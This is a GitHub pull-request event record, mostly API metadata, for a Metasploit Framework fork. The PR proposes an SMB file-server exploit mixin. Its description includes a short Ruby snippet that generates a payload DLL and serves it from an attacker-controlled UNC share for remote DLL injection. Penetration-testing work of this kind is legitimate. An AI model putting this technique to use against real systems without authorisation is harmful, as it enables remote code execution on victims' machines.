GitHub PullRequestEvent at 2014-03-07 13:57:45
Repository: metasploit-framework
Actor: 0x41414141
Payload: {"action":"closed","number":4,"pull_request":{"url":"https://api.github.com/repos/0x41414141/metasploit-framework/pulls/4","id":13310154,"html_url":"https://github.com/0x41414141/metasploit-framework/pull/4","diff_url":"https://github.com/0x41414141/metasploit-framework/pull/4.diff","patch_url":"https://github.com/0x41414141/metasploit-framework/pull/4.patch","issue_url":"https://api.github.com/repos/0x41414141/metasploit-framework/issues/4","number":4,"state":"closed","title":"Implement SMBFileServer mixin.","user":{"login":"0x41414141","id":6853837,"avatar_url":"https://gravatar.com/avatar/f33f0bb0472b436afdddc22b158d9756?d=https%3A%2F%2Fidenticons.github.com%2F46770d9db92fdfc81b4e14b91c923065.png&r=x","gravatar_id":"f33f0bb0472b436afdddc22b158d9756","url":"https://api.github.com/users/0x41414141","html_url":"https://github.com/0x41414141","followers_url":"https://api.github.com/users/0x41414141/followers","following_url":"https://api.github.com/users/0x41414141/following{/other_user}","gists_url":"https://api.github.com/users/0x41414141/gists{/gist_id}","starred_url":"https://api.github.com/users/0x41414141/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/0x41414141/subscriptions","organizations_url":"https://api.github.com/users/0x41414141/orgs","repos_url":"https://api.github.com/users/0x41414141/repos","events_url":"https://api.github.com/users/0x41414141/events{/privacy}","received_events_url":"https://api.github.com/users/0x41414141/received_events","type":"User","site_admin":false},"body":"In order to accomplish remote file injection (e.g. DLL) this module\r\nemulates an SMB service process to allow clients to load a file from a\r\nnetwork share.\r\n\r\nThis commit implements the SMBFileServer exploit module utilising the\r\n::Rex::Proto::SMB::Server module to export the \"start_smb_server\"\r\nfunction.\r\n\r\nUtilising the module (example):\r\n  include Msf::Exploit::Remote::SMBFileServer\r\n  exe = generate_payload_dll\r\n  @exe_file = rand_text_alpha(7) + \".dll\"\r\n  @share = rand_text_alpha(5)\r\n  my_host = (datastore['SRVHOST'] == '0.0.0.0') ?\r\n  Rex::Socket.source_address : datastore['SRVHOST']\r\n  @unc = \"\\\\\\\\#{my_host}\\\\#{@share}\\\\#{@exe_file}\"\r\n  start_smb_server(@unc, exe, @exe_file)\r\n  // Inject DLL\r\n  handle\r\n\r\nA separate commit will provide a sample implementation of utilising this\r\nmodule within a generic webserver DLL injection exploit:\r\n  ./exploits/windows/http/generic_http_dllinject.rb","created_at":"2014-03-07T13:57:30Z","updated_at":"2014-03-07T13:57:45Z","closed_at":"2014-03-07T13:57:45Z","merged_at":null,"merge_commit_sha":"49e62bbfd583c7d9db2296c03337bbaabd2ffdb0","assignee":null,"milestone":null,"commits_url":"https://api.github.com/repos/0x41414141/metasploit-framework/pulls/4/commits","review_comments_url":"https://api.github.com/repos/0x41414141/metasploit-framework/pulls/4/comments","review_comment_url":"https://api.github.com/repos/0x41414141/metasploit-framework/pulls/comments/{number}","comments_url":"https://api.github.com/repos/0x41414141/metasploit-framework/issues/4/comments","statuses_url":"https://api.github.com/repos/0x41414141/metasploit-framework/statuses/54815286d8b0629d69843eaa308d1fa0d73e8b96","head":{"label":"0x41414141:module-exploitsmbfileserver","ref":"module-exploitsmbfileserver","sha":"54815286d8b0629d69843eaa308d1fa0d73e8b96","user":{"login":"0x41414141","id":6853837,"avatar_url":"https://gravatar.com/avatar/f33f0bb0472b436afdddc22b158d9756?d=https%3A%2F%2Fidenticons.github.com%2F46770d9db92fdfc81b4e14b91c923065.png&r=x","gravatar_id":"f33f0bb0472b436afdddc22b158d9756","url":"https://api.github.com/users/0x41414141","html_url":"https://github.com/0x41414141","followers_url":"https://api.github.com/users/0x41414141/followers","following_url":"https://api.github.com/users/0x41414141/following{/other_user}","gists_url":"https://api.github.com/users/0x41414141/gists{/gist_id}","starred_url":"https://api.github.com/users/0x41414141/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/0x41414141/subscriptions","organizations_url":"https://api.github.com/users/0x41414141/orgs","repos_url":"https://api.github.com/users/0x41414141/repos","events_url":"https://api.github.com/users/0x41414141/events{/privacy}","received_events_url":"https://api.github.com/users/0x41414141/received_events","type":"User","site_admin":false},"repo":{"id":17412223,"name":"metasploit-framework","full_name":"0x41414141/metasploit-framework","owner":{"login":"0x41414141","id":6853837,"avatar_url":"https://gravatar.com/avatar/f33f0bb0472b436afdddc22b158d9756?d=https%3A%2F%2Fidenticons.github.com%2F46770d9db92fdfc81b4e14b91c923065.png&r=x","gravatar_id":"f33f0bb0472b436afdddc22b158d9756","url":"https://api.github.com/users/0x41414141","html_url":"https://github.com/0x41414141","followers_url":"https://api.github.com/users/0x41414141/followers","following_url":"https://api.github.com/users/0x41414141/following{/other_user}","gists_url":"https://api.github.com/users/0x41414141/gists{/gist_id}","starred_url":"https://api.github.com/users/0x41414141/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/0x41414141/subscriptions","organizations_url":"https://api.github.com/users/0x41414141/orgs","repos_url":"https://api.github.com/users/0x41414141/repos","events_url":"https://api.github.com/users/0x41414141/events{/privacy}","received_events_url":"https://api.github.com/users/0x41414141/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/0x41414141/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/0x41414141/metasploit-framework","forks_url":"https://api.github.com/repos/0x41414141/metasploit-framework/forks","keys_url":"https://api.github.com/repos/0x41414141/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/0x41414141/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/0x41414141/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/0x41414141/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/0x41414141/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/0x41414141/metasploit-framework/events","assignees_url":"https://api.github.com/repos/0x41414141/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/0x41414141/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/0x41414141/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/0x41414141/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/0x41414141/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/0x41414141/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/0x41414141/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/0x41414141/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/0x41414141/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/0x41414141/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/0x41414141/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/0x41414141/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/0x41414141/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/0x41414141/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/0x41414141/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/0x41414141/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/0x41414141/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/0x41414141/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/0x41414141/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/0x41414141/metasploit-framework/merges","archive_url":"https://api.github.com/repos/0x41414141/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/0x41414141/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/0x41414141/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/0x41414141/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/0x41414141/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/0x41414141/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/0x41414141/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/0x41414141/metasploit-framework/releases{/id}","created_at":"2014-03-04T18:26:32Z","updated_at":"2014-03-07T13:57:45Z","pushed_at":"2014-03-07T13:53:31Z","git_url":"git://github.com/0x41414141/metasploit-framework.git","ssh_url":"git@github.com:0x41414141/metasploit-framework.git","clone_url":"https://github.com/0x41414141/metasploit-framework.git","svn_url":"https://github.com/0x41414141/metasploit-framework","homepage":"http://www.metasploit.com/","size":205319,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":0,"mirror_url":null,"open_issues_count":2,"forks":0,"open_issues":2,"watchers":0,"default_branch":"master","master_branch":"master"}},"base":{"label":"0x41414141:master","ref":"master","sha":"a589f372afb730b127a652dee0c9a653e9efca76","user":{"login":"0x41414141","id":6853837,"avatar_url":"https://gravatar.com/avatar/f33f0bb0472b436afdddc22b158d9756?d=https%3A%2F%2Fidenticons.github.com%2F46770d9db92fdfc81b4e14b91c923065.png&r=x","gravatar_id":"f33f0bb0472b436afdddc22b158d9756","url":"https://api.github.com/users/0x41414141","html_url":"https://github.com/0x41414141","followers_url":"https://api.github.com/users/0x41414141/followers","following_url":"https://api.github.com/users/0x41414141/following{/other_user}","gists_url":"https://api.github.com/users/0x41414141/gists{/gist_id}","starred_url":"https://api.github.com/users/0x41414141/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/0x41414141/subscriptions","organizations_url":"https://api.github.com/users/0x41414141/orgs","repos_url":"https://api.github.com/users/0x41414141/repos","events_url":"https://api.github.com/users/0x41414141/events{/privacy}","received_events_url":"https://api.github.com/users/0x41414141/received_events","type":"User","site_admin":false},"repo":{"id":17412223,"name":"metasploit-framework","full_name":"0x41414141/metasploit-framework","owner":{"login":"0x41414141","id":6853837,"avatar_url":"https://gravatar.com/avatar/f33f0bb0472b436afdddc22b158d9756?d=https%3A%2F%2Fidenticons.github.com%2F46770d9db92fdfc81b4e14b91c923065.png&r=x","gravatar_id":"f33f0bb0472b436afdddc22b158d9756","url":"https://api.github.com/users/0x41414141","html_url":"https://github.com/0x41414141","followers_url":"https://api.github.com/users/0x41414141/followers","following_url":"https://api.github.com/users/0x41414141/following{/other_user}","gists_url":"https://api.github.com/users/0x41414141/gists{/gist_id}","starred_url":"https://api.github.com/users/0x41414141/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/0x41414141/subscriptions","organizations_url":"https://api.github.com/users/0x41414141/orgs","repos_url":"https://api.github.com/users/0x41414141/repos","events_url":"https://api.github.com/users/0x41414141/events{/privacy}","received_events_url":"https://api.github.com/users/0x41414141/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/0x41414141/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/0x41414141/metasploit-framework","forks_url":"https://api.github.com/repos/0x41414141/metasploit-framework/forks","keys_url":"https://api.github.com/repos/0x41414141/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/0x41414141/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/0x41414141/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/0x41414141/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/0x41414141/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/0x41414141/metasploit-framework/events","assignees_url":"https://api.github.com/repos/0x41414141/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/0x41414141/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/0x41414141/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/0x41414141/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/0x41414141/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/0x41414141/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/0x41414141/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/0x41414141/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/0x41414141/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/0x41414141/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/0x41414141/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/0x41414141/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/0x41414141/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/0x41414141/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/0x41414141/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/0x41414141/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/0x41414141/metasploit-framework/issues/comments/{number}","contents_url":"https://api.github.com/repos/0x41414141/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/0x41414141/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/0x41414141/metasploit-framework/merges","archive_url":"https://api.github.com/repos/0x41414141/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/0x41414141/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/0x41414141/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/0x41414141/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/0x41414141/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/0x41414141/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/0x41414141/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/0x41414141/metasploit-framework/releases{/id}","created_at":"2014-03-04T18:26:32Z","updated_at":"2014-03-07T13:57:45Z","pushed_at":"2014-03-07T13:53:31Z","git_url":"git://github.com/0x41414141/metasploit-framework.git","ssh_url":"git@github.com:0x41414141/metasploit-framework.git","clone_url":"https://github.com/0x41414141/metasploit-framework.git","svn_url":"https://github.com/0x41414141/metasploit-framework","homepage":"http://www.metasploit.com/","size":205319,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":0,"mirror_url":null,"open_issues_count":2,"forks":0,"open_issues":2,"watchers":0,"default_branch":"master","master_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/0x41414141/metasploit-framework/pulls/4"},"html":{"href":"https://github.com/0x41414141/metasploit-framework/pull/4"},"issue":{"href":"https://api.github.com/repos/0x41414141/metasploit-framework/issues/4"},"comments":{"href":"https://api.github.com/repos/0x41414141/metasploit-framework/issues/4/comments"},"review_comments":{"href":"https://api.github.com/repos/0x41414141/metasploit-framework/pulls/4/comments"},"review_comment":{"href":"https://api.github.com/repos/0x41414141/metasploit-framework/pulls/comments/{number}"},"commits":{"href":"https://api.github.com/repos/0x41414141/metasploit-framework/pulls/4/commits"},"statuses":{"href":"https://api.github.com/repos/0x41414141/metasploit-framework/statuses/54815286d8b0629d69843eaa308d1fa0d73e8b96"}},"merged":false,"mergeable":true,"mergeable_state":"clean","merged_by":null,"comments":0,"review_comments":0,"commits":1,"additions":51,"deletions":1,"changed_files":1}}